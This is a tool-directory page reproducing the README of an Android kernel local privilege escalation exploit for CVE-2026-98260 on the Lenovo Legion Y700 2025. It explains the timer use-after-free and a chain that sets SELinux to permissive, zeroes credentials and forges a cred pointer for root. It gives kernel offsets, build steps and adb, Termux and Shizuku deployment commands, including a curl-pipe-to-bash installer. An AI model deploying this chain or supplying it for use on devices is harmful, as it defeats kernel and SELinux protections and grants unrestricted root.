Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-98260-y700-TB321FU-lpe — CVE-2026-98260 adaptation for Lenovo Legion Y700 2025 (TB321FU) / 1.1.10.138 boot image, kernel 6.1.112-android14-11 | Kitploit
Tools/GitHubGitHub/colorgarden/cve-2026-98260-y700-tb321fu-lpe
Android SecurityPrivilege EscalationExploitationPost-ExploitationMobile SecurityPayload DevelopmentBinary Exploitation
GitHubcolorgarden/cve-2026-98260-y700-tb321fu-lpe

CVE-2026-98260-y700-TB321FU-lpe

CVE-2026-98260 adaptation for Lenovo Legion Y700 2025 (TB321FU) / 1.1.10.138 boot image, kernel 6.1.112-android14-11

View Repository
Oct 28, 2026Not yet reviewed
Share

CVE-2026-98260 · Lenovo Legion Y700 2025 (TB321FU) Local Privilege Escalation

This project is the adaptation of CVE-2026-98260 for the Lenovo Legion Y700 2025 / TB321FU, 1.1.10.138 official boot.img (kernel 6.1.112-android14-11-gd03cb1d7abcd-ab12592111, 4 KiB pages).

Status: Static adaptation, build, and runner are complete; not yet verified on a Y700 physical device. Device requirement: ro.product.device must be TB321FU, otherwise the runner will refuse to start before reboot / deploy / preflight / stage. The current workspace host is not a Y700; no exploit stage was run on any non-target device.

Target

ItemValue
DeviceLenovo Legion Y700 2025, codename TB321FU
boot image1.1.10.138 official boot.img, 100,663,296 bytes
boot SHA-2567fd7e7fd0967bb0d459c2fd421b2458dbd59ed61d3fe267f6703e30f9a931a39
Kernel release6.1.112-android14-11-gd03cb1d7abcd-ab12592111
Page size / VA4 KiB / CONFIG_ARM64_VA_BITS=39
k_itimer0x108 bytes, node +0x78, 31 objects/order-1 slab
task->cred / real_cred+0x838 / +0x830
cred.uid+0x4

Dependencies

场景需要安装
Y700 本机(adb shell)无额外安装;Android /system/bin/sh + toybox;四个 payload + tools/ksu-handoff.sh;uid 2000
Y700 本机(Shizuku)Shizuku APK + rish + 终端(Termux);repo/payloads 放 /sdcard;Shizuku 启动后无需 PC
Termux 主机(termux-adb)Termux + termux-adb + termux-api 包 + Termux:API APK + curl/wget + coreutils
Windows 主机Android Platform-Tools(adb.exe)+ NDK r30(构建)+ PowerShell
构建NDK r30(Windows)或 Termux clang(NDK r30)
KSU handoffKSU 系管理器 APK + libksud.so/ksud + android14-6.1 KSU LKM

On first run on a Termux host, the runner will ask whether to install termux-adb, termux-api, etc.; the APK cannot be installed via pkg and requires installing Termux:API from F-Droid. The Y700 on-device method does not require Termux, NDK, or termux-adb.

Vulnerability Overview

When a non-main thread executes exec(), de_thread() first swaps the thread identities; then SIGKILL causes exec_mmap() to fail, and the thread exits before the POSIX CPU timer cleanup. exit_itimers() frees the k_itimer, but posix_cpu_timer_del() does not remove the timerqueue node because pid_task() returns NULL; when the parent process reaps the zombie, posix_cpu_timers_exit() operates on that node again, forming a UAF and an rb_erase() write primitive.

This repository uses this primitive in three stages:

  1. Zero out the SELinux enforcing byte → Permissive;
  2. Zero out the uid/gid of the private cred;
  3. Write a forged cred pointer into task->cred / task->real_cred, and after committing, obtain full capabilities and start the root daemon for this boot.

Directory

src/
  exploit-android-perf.c          SELinux 阶段
  exploit-android-perf-chain.c    cred 阶段,成功后 exec fullcap
  exploit-android-key-ptr.c       fullcap 两阶段 + rootd
  pc98260_rootd.c                 root daemon
  pc98260_su.c                    root 命令客户端
docs/
  PORT-6.1.112-Y700.md            适配记录:符号、偏移、探针、构建
  TEST-PLAN-6.1.112-Y700.md       真机验证清单
tools/check-target.sh             目标机只读环境探测
tools/ksu-handoff.sh              root 后 KernelSU late-load + --allow-shell
run-98260-y700-TB321FU            Termux 主机入口(termux-adb)
run-98260-y700-TB321FU.sh
run-98260-y700-TB321FU-local      本机(Y700 自身)入口
run-98260-y700-TB321FU-local.sh
run-98260-y700-TB321FU-rish       本机版 Shizuku/rish 入口
run-98260-y700-TB321FU.bat        Windows 入口
run-98260-y700-TB321FU.ps1
build-termux.sh / build.ps1       构建脚本

bin/ and logs/ are excluded by .gitignore; bin/ is generated locally by the build script.

Build

Windows + Android NDK r30:

powershell -NoProfile -ExecutionPolicy Bypass -File .\build.ps1

Termux (NDK r30 clang):

./build-termux.sh

After building, four payloads are generated in bin/. The runner has built-in SHA-256 hashes for builds from this workspace; rebuilding with a different NDK/API may produce different hashes, and the runner will refuse to deploy. If you have confirmed there are no changes, you can add --allow-unverified-payload (or update the hashes in the runner).

Running

Termux host (termux-adb)

Connect the Y700 via USB/OTG on the Termux host. By default, termux-adb is used, which requires the Termux:API APK and the termux-api package; on first run, it will ask whether to install missing dependencies:

./run-98260-y700-TB321FU
./run-98260-y700-TB321FU --serial <Y700序列号> --diagnose-only
./run-98260-y700-TB321FU --serial <Y700序列号> --reboot

Dependency parameters:

  • --install-deps: automatically install apt packages (will still prompt for the Termux:API APK);
  • --skip-deps: skip dependency checks;
  • --adb-bin adb: use android-tools' adb instead;
  • --yes: automatically answer yes to all confirmations.

The upstream installation script for termux-adb is:

curl -s https://raw.githubusercontent.com/nohajc/termux-adb/master/install.sh | bash

It will ask at runtime whether to execute; the script runs apt-get --assume-yes upgrade and adds third-party apt sources.

Windows

run-98260-y700-TB321FU.bat
# 或
powershell -NoProfile -ExecutionPolicy Bypass -File .\run-98260-y700-TB321FU.ps1

This device (Y700 itself)

Executed on Y700 as uid=2000(shell), the stage does not go through adb/termux-adb; adb is only used to obtain a shell:

adb push run-98260-y700-TB321FU-local.sh /data/local/tmp/
adb push run-98260-y700-TB321FU-local    /data/local/tmp/
adb push bin/exploit-android-perf        /data/local/tmp/
adb push bin/exploit-android-perf-chain  /data/local/tmp/
adb push bin/exploit-android-key-ptr     /data/local/tmp/
adb push bin/pc98260-su-client           /data/local/tmp/pc98260-su
adb push tools/ksu-handoff.sh            /data/local/tmp/pc98260-ksu-handoff.sh
adb shell sh /data/local/tmp/run-98260-y700-TB321FU-local.sh --diagnose-only
adb shell sh /data/local/tmp/run-98260-y700-TB321FU-local.sh

Via Shizuku (rish)

Shizuku's rish provides a uid 2000 shell; the local runner can use it directly:

  1. Install Shizuku and start it via wireless debugging or ADB;
  2. Shizuku → "Use Shizuku in terminal apps" → Export files, save rish and rish_shizuku.dex (for example to /sdcard/Download);
  3. In Termux:
    termux-setup-storage
    mkdir -p ~/.local/bin
    cp /sdcard/Download/rish /sdcard/Download/rish_shizuku.dex ~/.local/bin/
    chmod +x ~/.local/bin/rish
    export PATH="$HOME/.local/bin:$PATH"
    export RISH_APPLICATION_ID=com.termux
    export RISH_PRESERVE_ENV=0
    hash -r
    rish -c 'id'
    
    Confirm the output uid=2000(shell). If the DEX path in the rish script still points to the export directory, just leave rish_shizuku.dex there; if you move both files together to ~/.local/bin, you need to change the dex= path in the script to $HOME/.local/bin/rish_shizuku.dex.
  4. Put the repo (or bin/ + tools/ + local runner) into /sdcard, for example /sdcard/Download/CVE-2026-98260/repo;
  5. Run:
cd /sdcard/Download/CVE-2026-98260/repo
./run-98260-y700-TB321FU-rish --diagnose-only
./run-98260-y700-TB321FU-rish

rish executes the local runner with uid 2000; the local runner copies bin/ and tools/ksu-handoff.sh to /data/local/tmp itself. It also supports --no-ksu-handoff and --ksu-timeout. After a reboot, Shizuku needs to be restarted.

KernelSU handoff (automatic authorization)

After the final root proof passes, the runner automatically executes tools/ksu-handoff.sh by default (can be disabled with --no-ksu-handoff / -NoKsuHandoff):

Download Tool

Related Tools

  • Mobile-Security-Framework-MobSF

    Automated mobile application security testing framework for Android, iOS, and Windows. Performs static and dynamic analysis, malware detection, and API security testing with CI/CD integration.

  • jadx

    Command-line and GUI tool for decompiling Android Dex and APK files into readable Java source code, with resource decoding, deobfuscation, and Smali debugging capabilities.

  • Apktool

    A tool for reverse engineering Android apk files

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    Callisto

    jetp1ane/callisto

    Automated binary vulnerability analysis tool that decompiles executables via Ghidra, scans pseudo-C code with Semgrep, and validates findings using GPT-3.5-Turbo to reduce false positives.

    2.3k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    One-tap Android kernel exploit app for CVE-2026-43499, providing privilege escalation via kernel module loading, with offset extraction and on-device analysis tools.

    806
  • 3

    DFRoot

    a2333c/dfroot

    Android root tool for Samsung Galaxy S25 Ultra (SM-S938B) that chains DirtyFrag CVE-2026-43284 and CVE-2026-43499 to gain root automatically at boot via KernelSU.

    457
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    389
  • 5

    faraday

    infobyte/faraday

    Open-source and AI-powered cybersecurity tools for offensive security, vulnerability management, and autonomous pentesting. Built by hackers in Latin America, used worldwide.

    346
  • 6

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    334

Explore all tools

Browse our collection of tools

View all tools →